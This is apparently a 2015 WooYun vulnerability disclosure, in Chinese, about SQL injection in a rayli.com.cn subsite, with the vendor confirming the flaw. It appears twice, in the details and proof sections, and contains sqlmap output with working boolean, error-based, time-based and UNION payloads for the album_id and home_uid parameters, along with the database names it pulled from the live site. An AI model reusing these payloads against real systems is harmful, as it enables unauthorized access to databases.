漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2015-0160257
漏洞标题:瑞丽网某站多处存在sql注入
相关厂商:rayli.com.cn
漏洞作者: 头晕脑壳疼
提交时间:2015-12-11 10:30
修复时间:2016-01-28 17:10
公开时间:2016-01-28 17:10
漏洞类型:SQL注射漏洞
危害等级:高
自评Rank:10
漏洞状态:厂商已经确认
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2015-12-11: 细节已通知厂商并且等待厂商处理中
2015-12-15: 厂商已经确认,细节仅向厂商公开
2015-12-25: 细节向核心白帽子及相关领域专家公开
2016-01-04: 细节向普通白帽子公开
2016-01-14: 细节向实习白帽子公开
2016-01-28: 细节向公众公开
简要描述:
rrt
详细说明:
有人走过<img src=" WooYun: 瑞丽网某站存在SQL注入漏洞 " alt="" />
Parameter: album_id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: m=user&a=album_share&width=190&p=2&home_uid=2303150&album_id=210 AND 7228=7228
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: m=user&a=album_share&width=190&p=2&home_uid=2303150&album_id=210 AND (SELECT 8669 FROM(SELECT COUNT(*),CONCAT(0x716a627871,(SELECT (ELT(8669=8669,1))),0x716a787671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: m=user&a=album_share&width=190&home_uid=2303150&album_id=210 AND (SELECT * FROM (SELECT(SLEEP(5)))Gqcw)
Type: UNION query
Title: Generic UNION query (NULL) - 1 column
Payload: m=user&a=album_share&width=190&p=2&home_uid=2303150&album_id=210 UNION ALL SELECT CONCAT(0x716a627871,0x7852467662416b6d4a6a,0x716a787671)--
Parameter: home_uid (GET)
Type: boolean-based blind
Title: MySQL >= 5.0 boolean-based blind - Parameter replace
Payload: m=user&a=shareSelf&width=190&home_uid=(SELECT (CASE WHEN (8530=8530) THEN 8530 ELSE 8530*(SELECT 8530 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))
---
there were multiple injection points, please select the one to use for following injections:
[0] place: GET, parameter: album_id, type: Unescaped numeric (default)
[1] place: GET, parameter: home_uid, type: Unescaped numeric
[q] Quit
>
[23:57:17] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.2.9
back-end DBMS: MySQL 5.0
[23:57:17] [INFO] fetching database names
available databases [7]:
[*] data
[*] diceng
[*] information_schema
[*] mysql
[*] raylishuo
[*] Syslog
[*] test
[23:57:17] [INFO] fetched data logged to text files under '/root/.sqlmap/output/shuo.rayli.com.cn'
[*] shutting down at 23:57:17
119张表
漏洞证明:
有人走过<img src=" WooYun: 瑞丽网某站存在SQL注入漏洞 " alt="" />
Parameter: album_id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: m=user&a=album_share&width=190&p=2&home_uid=2303150&album_id=210 AND 7228=7228
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: m=user&a=album_share&width=190&p=2&home_uid=2303150&album_id=210 AND (SELECT 8669 FROM(SELECT COUNT(*),CONCAT(0x716a627871,(SELECT (ELT(8669=8669,1))),0x716a787671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: m=user&a=album_share&width=190&home_uid=2303150&album_id=210 AND (SELECT * FROM (SELECT(SLEEP(5)))Gqcw)
Type: UNION query
Title: Generic UNION query (NULL) - 1 column
Payload: m=user&a=album_share&width=190&p=2&home_uid=2303150&album_id=210 UNION ALL SELECT CONCAT(0x716a627871,0x7852467662416b6d4a6a,0x716a787671)--
Parameter: home_uid (GET)
Type: boolean-based blind
Title: MySQL >= 5.0 boolean-based blind - Parameter replace
Payload: m=user&a=shareSelf&width=190&home_uid=(SELECT (CASE WHEN (8530=8530) THEN 8530 ELSE 8530*(SELECT 8530 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))
---
there were multiple injection points, please select the one to use for following injections:
[0] place: GET, parameter: album_id, type: Unescaped numeric (default)
[1] place: GET, parameter: home_uid, type: Unescaped numeric
[q] Quit
>
[23:57:17] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.2.9
back-end DBMS: MySQL 5.0
[23:57:17] [INFO] fetching database names
available databases [7]:
[*] data
[*] diceng
[*] information_schema
[*] mysql
[*] raylishuo
[*] Syslog
[*] test
[23:57:17] [INFO] fetched data logged to text files under '/root/.sqlmap/output/shuo.rayli.com.cn'
[*] shutting down at 23:57:17
119张表
修复方案:
过滤字符,加防注入!好好的排查下,人家发一个上来不代表只有一个注入点!
版权声明:转载请注明来源 头晕脑壳疼@乌云
漏洞回应
厂商回应:
危害等级:中
漏洞Rank:10
确认时间:2015-12-15 15:18
厂商回复:
非常感谢,经排查此系统的确存在SQL注入漏洞,由于此为已停用业务,此业务已全部下线。另我方开发人员正在对所有业务SQL注入漏洞进行排查。
最新状态:
暂无